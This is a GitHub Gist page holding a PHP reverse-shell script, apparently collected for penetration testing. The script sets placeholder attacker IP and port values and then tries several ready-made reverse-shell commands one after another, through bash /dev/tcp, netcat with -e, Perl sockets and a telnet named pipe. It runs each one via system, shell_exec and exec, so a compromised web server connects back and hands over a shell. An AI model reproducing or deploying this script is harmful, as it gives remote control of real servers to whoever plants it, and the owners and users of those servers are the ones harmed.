Created
December 6, 2021 22:01
-
-
Save adampankow/aee106e71bf06e2d1cc03ef24a6ade3f to your computer and use it in GitHub Desktop.
Awesome PHP Reverse Shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo 'running shell'; | |
$ip='YOUR_IP'; | |
$port='YOUR_PORT'; | |
$reverse_shells = array( | |
'/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1', | |
'0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196', | |
'/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash', | |
'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe', | |
"/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", | |
'rm -f /tmp/p; mknod /tmp/p p && telnet '.$ip.' '.$port.' 0/tmp/p', | |
'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' | |
); | |
foreach ($reverse_shells as $reverse_shell) { | |
try {echo system($reverse_shell);} catch (Exception $e) {echo $e;} | |
try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;} | |
try {exec($reverse_shell);} catch (Exception $e) {echo $e;} | |
} | |
system('id'); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Credit: https://guide.offsecnewbie.com/shells